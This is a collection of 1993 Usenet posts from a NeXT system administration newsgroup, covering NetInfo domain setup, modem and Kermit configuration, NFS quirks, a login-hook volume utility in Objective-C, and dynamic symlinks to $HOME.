gregory@brigham-circle.mit.edu (Greg Howland) writes:
> Is there a way to make the system clock chime or beep on the hour?
>
Get Dimmer.app from the ftp-servers.
--
------------------------------------------------------------------
Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de
The nice thing about standards is that there are so many of them to
choose from.
-- Andrew S. Tanenbaum
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Subject: Compile problems under Project Builder
Message-ID: <1993Jun06.214333.18772@rat.csc.calpoly.edu>
From: mrothste@foraker.csc.calpoly.edu (Mont Rothstein)
Date: Sun, 06 Jun 93 21:43:33 GMT
Organization: Cal Poly, SLO
Project Builder is doing some wierd stuff. It will sometimes compile
everytime even though source files haven't changed and other times it won't
compile even when source files have changed. Someone suggest that it had to
do with being on network time but we took it off and it still was screwy.
Does anyone have any ideas as to why this is happening?
Thanks,
-Mont
NeXTmail OK :-)
President CP-NUG (Cal Poly NeXT User Group, SLO)
mrothste@data.acs.calpoly.edu
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From: gday@ignatz.inde.bc.ca (Gordon Day)
Subject: Re: How do you execute a program from your .plan file?
In-Reply-To: Gregory W. Gee's message of Sat, 5 Jun 1993 00:45:38 GMT
Message-ID: <GDAY.93Jun4205836@ignatz.inde.bc.ca>
Sender: news@inde.bc.ca
Organization: INDE Electronics, Inc.
References: <9306050045.AA23741@gaul.csd.uwo.ca>
Date: Sat, 5 Jun 1993 04:58:36 GMT
>>>"gregory" == Gregory W. Gee <gee@gaul.csd.uwo.ca> writes:
gregory> Subject is self explanitory.
Easy. Just put the name of the program you want to run as the first
line of the file, "exit 0" on the second line, and type "source .plan"
(in a csh, using sh is left as an exercise to the reader) :-). If
what you're asking is, "Can you get the finger daemon to run a command
whose name is stored in a user's .plan file when you finger that
user?", then the answer is no.
gregory> Thanks.
You're welcome.
Gordon.
Newsgroups: comp.sys.next.sysadmin
From: draphsor@deathstar.stanford.edu (Matt Rollefson)
Subject: Re: puh-lease help -- NetInfo domain problems
Message-ID: <1993Jun7.025252.10487@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Residential Computing, Stanford University
References: <C82oo5.KCD@knot.ccs.queensu.ca>
Date: Mon, 7 Jun 93 02:52:52 GMT
In comp.sys.next.sysadmin dale@hecate.phy.queensu.ca (Dale Swanston) writes:
>This is where the problems with NetInfo come in. I have basically 3
>domains (NetInfo domains) there's: / , /A , /B . On machine B (the
>mail server) I can view all three domains with the NetInfo Manager. But
>on machine A (the NetInfo server - supposedly) I can only view : / and
>/A. This is bad considering that the NetInfo server cannot see a domain
>it should serve. I get an error that says 'Domain selected failed to
>open' when I try to open /B.
Read the chapter on setting up multiple domains in the System
Administrator Manual. It does a very thorough job of explaining just
how netinfo domains bind, etc. I found it extremely useful.
Rollie
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Residential Computing, Stanford University NeXTmail accepted
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From: kent@infoserv.com
Subject: Re: Setting Kermit for ZyXEL
Message-ID: <C87p6z.3Ho@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
Organization: K. L. Shephard Consulting
References: <1993Jun5.220408.13266@cs.ucla.edu>
Distribution: na
Date: Sun, 6 Jun 1993 18:11:23 GMT
In article <1993Jun5.220408.13266@cs.ucla.edu> lange@lanai.cs.ucla.edu (Trent
Lange) writes:
#I've just gotten a ZyXEL U-1496E, which works great through communicae.app.
#The 16.8K ZyXEL speed to another ZyXEL is a particularly nice improvement.
#However, I'm having problems getting it to work with kermit. Here is the
#setup I tried using for kermit with it (changing only the speed from the
#setup that worked with my old Multitech 9600 baud modem):
#
#set line /dev/cua
#set speed 19200
#set modem hayes
#dial <X>
try using cufa ( flow control)
#
#It dials out, and then returns:
#Failed ("RINGING")
#
#It also did this at speed 9600, and also before and after I updated
#/etc/ttys, /etc/gettytab, and /etc/remote for 19200 (even though I wasn't
#sure whether one needs to change these for kermit).
#
#Has anybody got their ZyXEL working with kermit? If so, what did you do
#differently to get it to work?
I set my modem to NeXT connection to 38400 and let the ZyXel negotiate the
data speed with the other modem. Other than that I use cufb because I have a
midi device connected to serial port A.
Here is a copy of my .kermrc
-----------------------------------------------------------------------------
set line /dev/cufb
set modem hayes
set speed 38400
set parity none
set terminal bytesize 8
set flow-control rts/cts
set file type binary
set file name literal
set send packet-length 9024
set receive packet-length 9024
set block 1
set transfer locking-shift off
set escape-character 28
set buffers 128000 128000
set window 8
-----------------------------------------------------------------------------
I have no problems with this setup and the ZyXEL negotiates the connection
to the other modem.
Kent
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: How do you execute a program from your .plan file?
In-Reply-To: gday@ignatz.inde.bc.ca's message of Sat, 5 Jun 1993 04:58:36 GMT
To: gday@ignatz.inde.bc.ca (Gordon Day)
Message-ID: <CEDMAN.93Jun7082714@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Fcc: nextmail
Organization: Princeton University
References: <9306050045.AA23741@gaul.csd.uwo.ca> <GDAY.93Jun4205836@ignatz.inde.bc.ca>
Date: Mon, 7 Jun 1993 13:27:14 GMT
In article <GDAY.93Jun4205836@ignatz.inde.bc.ca> gday@ignatz.inde.bc.ca (Gordon Day) writes:
>>>"gregory" == Gregory W. Gee <gee@gaul.csd.uwo.ca> writes:
gregory> Subject is self explanitory.
Easy. Just put the name of the program you want to run as the first
line of the file, "exit 0" on the second line, and type "source .plan"
(in a csh, using sh is left as an exercise to the reader) :-). If
what you're asking is, "Can you get the finger daemon to run a command
whose name is stored in a user's .plan file when you finger that
user?", then the answer is no.
Then of course that is exactly what the finger/fingerd from
nova.cc.purdue.edu do.
Carl Edman
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From: sapp@sawdust.ssc.gov (Kevin Sapp)
Subject: HELP Disk Dead
Message-ID: <1993Jun7.134150.19029@sunova.ssc.gov>
Keywords: Disk
Sender: sapp@sawdust (Kevin Sapp)
Organization: Superconducting Super Collider Laboratory
Date: Mon, 7 Jun 1993 13:41:50 GMT
Hi,
I posted an article about a week ago about a bad block on my disk
(660M Seagate). The problem was extremely persistant and growing. The
busy prompt would sometimes take MINUTES to go away.
I tried to fix it with fsck, with no luck. The performance was so
bad (after I got most of my files off) that I tried to reformat the disk
with sdform. This failed (even after a couple of tries).
Any suggestions would be greatly appreciated.
Please respond by email (sapp@sawdust.ssc.gov)
Kevin
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Superconducting Super Collider of individual it creates" (Dune)
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Subject: Re: Setting up NeXT's in a Sun network
Message-ID: <1993Jun7.124725.12188@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Mon, 7 Jun 1993 12:47:25 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <1uspgj$cf8@ux1.cso.uiuc.edu>
Organization: Institut fuer Informatik
In article <1uspgj$cf8@ux1.cso.uiuc.edu> writes:
> jon@afs.com writes:
>
>
> >I have a question. At my school we have a network of Sun workstations. When
you
> >log into the Suns, your home directory is on the server, and it gets the
login
> >information from the server.
>
> >What would I have to do to get a NeXT to behave the same way on this
network?
> >In other words, what is required to make the next get login information from
> >the Sun server?
>
> Talk to your Sun admin and tell them that you have a machine you
> want to add that supports NIS and NFS. Add a + to your /etc/passwd
Ahem, making changes to /etc/passwd (and many others) while NetInfo is running
WON'T impress the machine a bit. You'll have to niload the passwd file to let
the chages take effect.
> file (at the end), and the rest - act like it's a Sun except for
> adding the mounts in Netinfo's /mounts directory. If they use an
> automounter, it could be a bit trickier, but the NeXT automounter
> acts very much like the Un's. (except that its accounting info is
> in netinfo)
>
> In any event, this is all documented very well in the chapter on
> integrating into a heterogeneous environment in the N&SA manual.
That it is!
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
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Subject: Re: Stupid and foolish move from Informix
Message-ID: <1993Jun7.125104.12266@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Mon, 7 Jun 1993 12:51:04 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <1993Jun3.172043.16926@CAM.ORG!planon>
Organization: Institut fuer Informatik
In article <1993Jun3.172043.16926@CAM.ORG!planon> writes:
> We are developer on NeXTstep OS. In the past couple of year we have
> developed an application for automation in the television industry.
>
> We have used Informix-SE and Informix ESQL-C for doing our
> development. Those product have been available for NeXTstep on NeXT
> hardware since a year.
>
> Informix is not the database of choice on NeXTstep for many reasons:
>
[munched explanations]
>
> A very frustrated former Informix developer.
>
> Stephane Savard
> Director R&D
> Planon Telexpertise Inc.
> 1370 Joliot-Curie #708
> Boucherville, Quebec
> Canada, J4B 7L9
> Email: stephane@planon.qc.ca (NeXTmail accepted and appreciated!)
>
> --
> Yanik Crepeau
> Programmer
> Planon Telexpertise
> E-Mail: yanik@planon.qc.ca (NeXT)
If you think that is frustrating, then what should I think? I had deveoped some
software based on Progress (also an rdb) on a Motorola MPC100 and now moved to
NeXT. No chance at all. Progress just comments: NeXT has 'died' and shows no
interest at all!
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
From: matthews@is-next.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SunOS/Solaris NFS mounted drives - BUG?
Date: 8 Jun 1993 00:45:16 GMT
Organization: Los Alamos National Laboratory, NM
Message-ID: <1v0nes$ipt@umd5.umd.edu>
References: <1993May27.201738.3213@linus.mitre.org> <1u9q2l$738@ux1.cso.uiuc.edu>
In article <1u9q2l$738@ux1.cso.uiuc.edu> lemson@uiuc.edu writes:
>The one I have seen is that when a Sun disk is nfs mounted onto
>a NeXT machine in 2.x, 'touch'ing a 0 byte file on that remote
>disk on the NeXT doesn't actually change the date. As far as I
>know, this was fixed in 3.0.
Nope, this was definitely not fixed in 3.0. 3.1 maybe, I keep forgetting to
verify it. The problem is also a bug in Sun's kernel; the NeXT does the
wrong thing, the Sun doesn't handle it right. There is a patch for Solaris
2.1 (I forget which one, but I think it's 100947-02) which was for Ultrix
clients, but they do the same thing.
You can also patch the 3.0 kernel, but doing so is inherently dangerous and
won't do you much good once you go to 3.1. Patching the Sun is easier.
>David Lemson
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------
"We can't schedule an orgy, it might be construed as fighting"
--Stanley Sutton
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From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Subject: Simple Auto-Volume setter...
Message-ID: <1993Jun08.005245.165416@zeus.calpoly.edu>
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
Date: Tue, 08 Jun 1993 00:52:45 GMT
I got fed up with the "new have new mail" suddenly blaring out from the
speaker, as well as finding out 10 minutes later that someone tried to
talk me, but I didn't get any beeps because Mute was left on by the last
user. *SO* I wrote this simple little program to pre-set the volume
everytime you login on console.
/* PreSetVolume.m - kwang@data.acs.calpoly.edu
** Start date: 06/07/93
** Finish date: 06/07/93
** Version? you gotta be kidding! Well okay, version 1.0
**
** This program is meant to be in the LoginHook and LogoutHook scripts
** to pre-set the volume to:
** 1: no mute &
** 2: whatever the user's Preferences say
** run the program in the Login/LogoutHook scripts as:
** PreSetVolume $1
**
** Compile notes:
** compile the program as:
** cc PreSetVolume.m -lMedia_s -lNeXT_s
** else it won't find the Sound object
**
** If you don't know how to SET the Login & LogoutHooks, you...
** 1: su to root
** 2: dwrite loginwindow LoginHook /usr/local/bin/LoginHook.sh
** 3: dwrite loginwindow LogoutHook /usr/local/bin/LogoutHook.sh
** 4: from each of the login panels, type "exit" as a user.
** this last will restart the loginwindow program, loading the defaults
** as per above. The Login/LogoutHook.sh names are strictly a
recommendation.
**
** the Login/LogoutHook programs run as root, just fyi.
*/
#import <stdio.h>
#import <defaults/defaults.h>
#import <objc/Object.h>
#import <soundkit/Sound.h>
#import <libc.h>
#define NOMUTE 0
#define MUTE 1
main(int argc, char *argv[])
{
float vol;
const char *str;
if (argc != 2)
{
printf("%s <username>\n", argv[0]);
puts("Must be run as root.");
exit(1);
}
if (0 != getuid())
{
fprintf(stderr, "Not root. exiting\n");
exit(1);
}
/* set to user's NXdefaults file, a must for the NXReadDefault */
NXSetDefaultsUser(argv[1]);
/* clear mute */
[Sound setMute: NOMUTE];
/* set volume */
/* get default set by Preferences */
/* command-line equivalent is: dread -o NeXT1 | grep Volume */
/* however, the value is 30..0 where 0 is max and 30 is bottom */
str=NXReadDefault("NeXT1", "Volume");
if (NULL == str)
{ /* if we couldn't read the defaults set to something
reasonable */
vol=0.75;
}
else
{ /* else use the user's defaults */
vol=((float)(30-atoi(str)))/30.0;
}
[Sound setVolume: vol: vol];
exit(0);
}
my sample LoginHook also looks ohsomething like this:
#!/bin/sh
exec /usr/local/bin/LoginHook.sh $@ 1>/tmp/Login 2>&1
where LoginHook.sh is:
#!/bin/sh
PATH=/bin:/usr/bin:/usr/local/bin
echo "LoginHook:"
/usr/local/bin/PreSetVolume $1
if /usr/local/etc/accounts/isfrozen $1
then
# next program: pop up an alert panel saying "You are frozen"
/usr/bin/sndplay /usr/local/freeze/YouAreFrozen.snd
echo "Frozen sucker"
exit 1
fi
exit 0
Have fun...
- Kevin Wang
From: cm601@cleveland.Freenet.Edu (Bradley Alexander Derrick)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT for INTEL..
Date: 8 Jun 1993 01:32:08 GMT
Organization: Case Western Reserve University, Cleveland, OH (USA)
Message-ID: <1v0q6o$cc5@usenet.INS.CWRU.Edu>
I've been currently looking at investing in NeXTstep for Intel, and
I plan on buying a '486/33MHz, with a Vesa Local Bus card, and adding
JAWS(for the graphics card), next I will need a monitor, so I'll probably
be gettinng a 21" ViewSonic. I want to start developing on NeXT, so my
main questions are
A] Do I need a better machine?
B] What size HD do I need?
C] Should I invest in a EtherNet card even though the comp will be
at home?
--
+------------------+--------------------------+
| Bradley Derrick | Titan Technologies(c) |
+------------------+--------------------------+
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From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Subject: Re: puh-lease help -- NetInfo domain problems
Message-ID: <1993Jun08.013117.178267@zeus.calpoly.edu>
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
References: <C82oo5.KCD@knot.ccs.queensu.ca>
Date: Tue, 08 Jun 1993 01:31:17 GMT
In article <C82oo5.KCD@knot.ccs.queensu.ca> dale@hecate.phy.queensu.ca
(Dale Swanston) writes:
>
> Help, I'm starting to lose my mind.
>
> Here's my sad story. I was asked to set up two Nexts. My boss wanted
his
> machine (machine A) to be the NetInfo server but not the mail server.
So
> my machine (machine B) was manually setup as the mail server. Well
> needless to say an amateur (me) botched the job. I have mail access but
> mail forwarded from my machine to the boss' doesn't recognize any users
on
> that machine.
>
> This is where the problems with NetInfo come in. I have basically 3
> domains (NetInfo domains) there's: / , /A , /B . On machine B (the
> mail server) I can view all three domains with the NetInfo Manager. But
> on machine A (the NetInfo server - supposedly) I can only view : / and
> /A. This is bad considering that the NetInfo server cannot see a domain
> it should serve. I get an error that says 'Domain selected failed to
> open' when I try to open /B.
>
> Is there any obvious reason why the NetInfo server wouldn't be able to
> open one of its domains? (Like preferences along the lines of Public
> Window Server etc). And is there a reason why the user accounts on the
> NetInfo server function properly in every other aspect except when
having
> mail sent to them.
>
> [I have another problem that I think is all related to this. The
> Addresses panel in the Mail Compose window does not hold the Users on
the
> system. I would have expected that at least the users on a local
machine
> would be in that panel. Even with updating the mail database with the
> 'mailDBupdate' command they do not appear. Is there anyway to look in
> this mail database to see what the heck is going on?]
>
> Any help would be greatly appreciated. I'm a desparate man. I'll
supply
> more information if anyone has any ideas.
You should read the NextAdmin manual chapter 10 where they explain how to
create a new domain
Well, since your machines are at least booting, the nidb's seem to be
talking to each other. From NetInfoManager, you can open /, /A, and /B
from B, but from A you only see / and /A.
check your serves fields. / it should have:
/machines/A/serves = ./network # this machine now has the / domain
/machines/A/serves = A/local # point up at machine A
/machines/B/serves = B/local # point up at machine B
on the local machines, your serves fields should b:
on both A and B:
/machine/broadcasthost/serves = ../network # point down to root
/machine/localhost/serves = ./local # point to self
So, each of the three databases point at each other with double links.
*YOU MUST BE ABSOLUTELY CAREFUL WITH THE SERVES FIELDS* If even ONE of the
pointers is missing or incorrect, that portion of the NIDomain tree will
"disappear"
Next, check to see what kind of security you've put in. The first one that
comes to mind is the trusted_networks field. It can be found by double
clicking on the / portion of each database. You will recognize this
database directory because it *MUST* have the "master" field (tells the
database what machine it's supposed to be on) If "trusted_networks" isn't
even there, then you shouldn't have any problems, just security holes (see
NextAdmin, chapter 14 regarding NetInfo security, search on
trusted_networks") trusted_networks *MUST* have a value if it exists, or
else it will not let anyone else (netinfo) talk to that database. The
value values would be something like 129.65.100 where 129.65.100.1 and
129.65.100.2 are the two machines on that network (and the netmask is
ff.ff.ff.0)
If neither of these are the problems, email me directly, and I'll what
more you need.
- kevin Wang
Newsgroups: comp.sys.next.sysadmin
From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Subject: elm...where to get a NeXT version? (black hardware, NS3.0)
Message-ID: <1993Jun08.014645.182717@zeus.calpoly.edu>
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
Date: Tue, 08 Jun 1993 01:46:45 GMT
I've been hassling with elm, and I'm getting fed up with it. anyone have a
procedure as to how to compile elm?
- kevin
From: alex@cs.umd.edu (Alex Blakemore)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can you make a dynamic sumbolic link to $HOME?
Message-ID: <68279@mimsy.umd.edu>
Date: 8 Jun 93 02:29:52 GMT
References: <1993Jun7.173839.20829@linus.mitre.org>
Sender: news@mimsy.umd.edu
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
In article <1993Jun7.173839.20829@linus.mitre.org> jblue@mitre.org (Jason D. Blue) writes:
> I want to create a link that will point to a user's home directory. But
> the link needs to point to a different location for each user that
> accesses it. I.e. a link to $HOME, but where $HOME is not interpreted
> until a user tries to access the link
> Is this possible?
I don't know of a straightforward way to do this in vanilla BSD,
but as a historical note - this is one of the cool things you could do
in Apollo's Domain OS.
A symbolic link could include a symbol reference like
/xxx/yyy/$(blah)/zzz where $blah was evaluated when the link was traversed.
for the most part, it made some admin tasks very simple, though it could be abused.
Domain OS had/has some problems (horrible GUI for example) but some
nice innovations as well (very decent network file system, and typed
file system). The latter could be a pain, but allowed some really neat
CM ideas in Apollo DSEE. CM files could be read transparently by any
program without any need for checking out a read only copy for
viewing, printing, compiling etc.
Lets hope NEXT doesnt go the way of Apollo. There are similarities though,
Both had gold plated headquarters and both depended on HP to an extent
for their salvation.
--
Alex Blakemore alex@cs.umd.edu NeXT mail accepted
--------------------------------------------------------------
"Without an engaged and motivated human being at the keyboard,
the computer is just another dumb box." William Raspberry
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Next equiv. of Sun's /etc/magic?
Message-ID: <1993Jun8.040842.22040@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1uujvq$hjd@chronicle.parcplace.com>
Date: Tue, 8 Jun 1993 04:08:42 GMT
In article <1uujvq$hjd@chronicle.parcplace.com>
steveh@ParcPlace.COM (Steven Heacock) writes:
>Does anyone know what the NeXT equivilent of of /etc/magic (on Sun) is?
NeXT's file(1) is not user-extensible.
>I'm trying to find the hex codes for NeXT apps that live on Sun
>filesystems so I can tell what's a Next executable and vice versa.
On the Sun side, you could try something like
0 long 0xfeedface NeXT
>4 long 6 m68k
>4 long 14 sparc
>12 long 1 relocatable object file
>12 long 2 demand paged executable file
>12 long 3 fixed VM shared library file
>12 long 4 core file
>12 long 5 preloaded executable file
0 long 0xcefaedfe byte-swapped NeXT
>4 long 0x07000000 i386
>12 long 0x01000000 relocatable object file
>12 long 0x02000000 demand paged executable file
>12 long 0x03000000 fixed VM shared library file
>12 long 0x04000000 core file
>12 long 0x05000000 preloaded executable file
0 long 0xcafebabe NeXT multi-architecture binary
Improving upon this is left as an exercise to the reader. :-)
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: iwelch@agsm.ucla.edu (Ivo Welch)
Subject: News Setup
Message-ID: <1993Jun7.182407.727@mic.ucla.edu>
Organization: UCLA, Anderson Graduate School Of Management
Date: 7 Jun 93 18:24:07 PDT
I plan to set up a news feed to my NeXT if it is not too much trouble. Has
someone done this?
Question: Is INN better/easier to install than c-news/NNTP?
If there are NeXT specific mods, where do I find them?
/ivo
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Can you make a dynamic sumbolic link to $HOME?
Message-ID: <1993Jun8.042401.22801@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993Jun7.173839.20829@linus.mitre.org> <68279@mimsy.umd.edu>
Date: Tue, 8 Jun 1993 04:24:01 GMT
In article <68279@mimsy.umd.edu> alex@cs.umd.edu (Alex Blakemore) writes:
>In article <1993Jun7.173839.20829@linus.mitre.org> jblue@mitre.org (Jason D. Blue) writes:
>> I want to create a link that will point to a user's home directory. But
>> the link needs to point to a different location for each user that
>> accesses it. I.e. a link to $HOME, but where $HOME is not interpreted
>> until a user tries to access the link
>> Is this possible?
No.
>I don't know of a straightforward way to do this in vanilla BSD,
>but as a historical note - this is one of the cool things you could do
>in Apollo's Domain OS.
>
>A symbolic link could include a symbol reference like
>/xxx/yyy/$(blah)/zzz where $blah was evaluated when the link was traversed.
Actually, NeXT has a way to do this--they're called metalinks.
If you look at your root directory on Black Hardware you'll
see /mach linked to $BOOTFILE. As distributed, this is the
only special name recognized, but a Loadable Kernel Server
could extend this. See <bsd/sys/metalink.h> for details.
The reason the answer to Jason's question is "no" is that
the substitution has to be known to the kernel, and "user's
home directory" is not a meaningful concept in that context.
>Lets hope NEXT doesnt go the way of Apollo.
Apollo is dead--no new versions of DOMAIN are being produced.
>Both had gold plated headquarters and both depended on HP to an extent
>for their salvation.
Both screwed up their European marketing.
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: tabs@netcom.com (Network Account)
Subject: Printer down - HELP
Message-ID: <tabsC8AGJC.2KM@netcom.com>
Followup-To: comp.next.miscellaneous
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
Date: Tue, 8 Jun 1993 05:57:11 GMT
Help!
My NeXT printer is down again. I am running 3.0 and I committed the
sin of powering the printer off when the machine was off. Any print
command from any application says:
" Application could not connect to printer daemon"
I had the problem before and it went away when I loaded the 3.0 using
buildDisk. But it is back now and I have tried deleting printer entry
from Net Info and rebooting and a few other things.
Any suggestions welcome
-- tabs
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From: gordie@cyclesoft.com (Gordie Freedman)
Subject: Re: Can you make a dynamic symbolic link to $HOME?
Message-ID: <1993Jun8.072602.2031@netcom.com>
Sender: gordie@netcom.com
Organization: Cyclesoft Media Works
References: <1993Jun7.173839.20829@linus.mitre.org>
Date: Tue, 8 Jun 1993 07:26:02 GMT
In article <1993Jun7.173839.20829@linus.mitre.org> jblue@ocotillo.mitre.org
(Jason D. Blue) writes:
>
>
> Wierd/tough question of the day:
>
> I want to create a link that will point to a user's home directory. But
> the link needs to point to a different location for each user that
> accesses it. I.e. a link to $HOME, but where $HOME is not interpreted
> until a user tries to access the link, and then it will point to that
> user's home directory.
Easy, at least if you are using csh or a variant that understands $HOME:
(The trick is to type \$HOME, the \ escapes the $)
% ln -s \$HOME /home
% ls -alsx /home
0 lrwxrwxrwx 1 gordie 5 Jun 7 23:21 home -> $HOME
I did a "cd /home" logged in as different users, and in each case it went to
the user's specific home directory.
Look at /mach on 3.0 systems - it is linked to $BOOTFILE ...
--
>>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes!
>>> Thou shalt not inline functions more complicated than 20
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From: bnh@active (Brian Hess)
Subject: Re: UUCP NS/FIP
Message-ID: <1993Jun8.065527.8382@nntpxfer.psi.com>
Sender: news@nntpxfer.psi.com
Organization: Performance Systems Int'l
References: <S78DBIUM@gwdu03.gwdg.de>
Date: Tue, 8 Jun 1993 06:55:27 GMT
mzeller@gwdu03.gwdg.de (Meinrad Zeller) writes:
> Steven Kornreich (glen@netcom.com) wrote:
> : I am triing to setup UUCP on NS/FIP and I am getting an error message
> : "CANT OPEN cua" which is the port I have my modem connected to. I can
"tip"
> : my modem fine. Any ideas???
>
> On the black hardware you had to change the permissions to rw- for group
> and other users. I guess under NSI its the same.
> Meinrad
No, it appears to be worse. The serial device entries in /dev are created
on-the-fly by the driver software when it is loaded at boot time. And the
permissions are always reset! I fixed it the old-fashioned way by adding
a "chmod 666 /dev/cu*" into my rc.local file.
Anybody know if there is a better, more NeXT-ish way to accomplish this?
It *looks* like it might be possible to modify
/usr/Devices/SerialPorts.config/Instance0.table and change the line that
says "Post-Load = PostLoad" to be "Post-Load=YourProgramName", then write
a little Unix program that first exec's PostLoad, then does the chmod's.
But I haven't gotten that adventurous. (Besides, this adds yet another
invisible layer of junk to something that's already buried deep.) Ideas?
Brian
bnh@active.com
From: goosen@cs.uct.ac.za (Henk Goosen)
Newsgroups: comp.sys.next.sysadmin
Subject: recovering from disk crash
Summary: how do I recover?
Keywords: disk crash, build disk
Message-ID: <goosen.739528576@sun-1>
Date: 8 Jun 93 08:36:16 GMT
Article-I.D.: sun-1.goosen.739528576
Sender: news@cs.uct.ac.za (news)
Organization: Computer Science Department, University of Cape Town
I'm trying to recover from a crash of the internal drive on a
NeXTstation. The floppy drive and the external hard disk is
working fine. I have a bootable floppy with a few basic commands
and I can boot the system in single user mode. I'd like to
configure the external hard drive to serve as the boot device,
and then restore the file system from tape (I have a DAT drive
with dump files for doing this).
I'm having trouble getting the system to boot from the external
drive. Using "disk", I initialized the external drive and wrote
the boot block. I then copied (using cp) all the files and directories
from the boot floppy onto the external drive (mounted under /mnt),
then I unmount it and try to do a "b sd(1,0,0)sdmach -s". It seems
to work fine at first, it seems to load the kernel, it finds all the
devices, but then fails when it tries to read "/etc/mach_init" with
an error 20. It next tries to read "/etc/init" which also fails with
the same error, and then spirals into various traps etc.
I tried this using both a 2.2 and 3.0 kernel, with the same result
(writing the appropriate boot block for each kernel).
Both files (/etc/init and /etc/mach_init) seem to be there and OK.
However, on the boot floppy, /etc/mach_init is a symbolic link to
"../../usr/etc/mach_init". Same for /etc/init, it also points to
"../../usr/etc/init". For some or other reason I can't get exactly
the same links onto the external drive but should that matter?
I'd much appreciate any help.
Thanks
Henk Goosen
goosen@cs.uct.ac.za
Computer Science Department, University of Cape Town
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From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: Re: Can you make a dynamic symbolic link to $HOME?
Message-ID: <1993Jun8.124118.24754@linus.mitre.org>
Keywords: DAMN!
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
References: <1993Jun8.072602.2031@netcom.com>
Date: Tue, 8 Jun 1993 12:41:18 GMT
In article <1993Jun8.072602.2031@netcom.com> gordie@cyclesoft.com (Gordie
Freedman) writes:
> In article <1993Jun7.173839.20829@linus.mitre.org>
jblue@ocotillo.mitre.org
> (Jason D. Blue) writes:
> >
> >
> > Wierd/tough question of the day:
> >
> > I want to create a link that will point to a user's home directory.
But
> > the link needs to point to a different location for each user that
> > accesses it. I.e. a link to $HOME, but where $HOME is not interpreted
> > until a user tries to access the link, and then it will point to that
> > user's home directory.
>
> Easy, at least if you are using csh or a variant that understands $HOME:
> (The trick is to type \$HOME, the \ escapes the $)
>
> % ln -s \$HOME /home
> % ls -alsx /home
> 0 lrwxrwxrwx 1 gordie 5 Jun 7 23:21 home -> $HOME
>
> I did a "cd /home" logged in as different users, and in each case it
went to
> the user's specific home directory.
>
> Look at /mach on 3.0 systems - it is linked to $BOOTFILE ...
> --
> >>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes!
> >>> Thou shalt not inline functions more complicated than 20
AUGH!!!!
I tried "ln -s \$HOME /tmp/home" BEFORE I posted the note. Each time
I tried to list the contents of it (i.e. "ls /tmp/home/") I'd get a
message that "/tmp/home/ not found". I didn't try to just cd into
it. Thanks for the pointer, Gordie.
FYI - The reason I needed it was to create a link to the user's home
directory within the ExecutorVolume (Executor = Macintosh
Emulator) so that any user can use it to get to their home directory
without having to treverse Upwords and then down thru the Net
directory - Executor tries to list the contents of every file it
encounters, so it takes 1 to 5 minutes for it to finish cycling
through the Net directory. Unfortunetly, Executor will not
display the link I created - probably because it cannot list the
contents (same error as I described in the previous paragraph?).
--
Jason D. Blue
NeXT Network and Systems Administrator
The MITRE Corporation, McLean, VA
jblue@mitre.org (NeXT Mail Encouraged!)
Geek code 0.3: GCS/M d-/d++ p c++ l m+ s/++ !g w+ t+ r x+
From: edbson@sionext.uio.no (Stein Onsrud)
Newsgroups: comp.sys.next.sysadmin
Subject: PC NFSD v 2.0
Date: 8 Jun 1993 13:58:35 GMT
Organization: University of Oslo
Message-ID: <1v25ub$3ug@hermod.uio.no>
Hello
Have anyone out there compiled pcnfsd v2.0 successfully on the NeXT.
We have some problems with printers on the PC clients running PCTCP v 2.2,
and our PCTCP vendor says pcnfsd v2.0 will fix this.
I have got the source code for v2.0 dated August 18 1992, but it will not
compile.
Stein Onsrud
SiO Data
Norway
From: gisli@liapunov.eecs.umich.edu (Gisli Ottarsson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can you make a dynamic symbolic link to $HOME?
Date: 8 Jun 93 09:50:57
Organization: University of Michigan
Distribution: usa
Message-ID: <GISLI.93Jun8095057@liapunov.eecs.umich.edu>
References: <1993Jun7.173839.20829@linus.mitre.org> <1993Jun8.072602.2031@netcom.com>
In-reply-to: gordie@cyclesoft.com's message of Tue, 8 Jun 1993 07:26:02 GMT
>>>>> In article <1993Jun8.072602.2031@netcom.com>, gordie@cyclesoft.com (Gordie Freedman) writes:
>
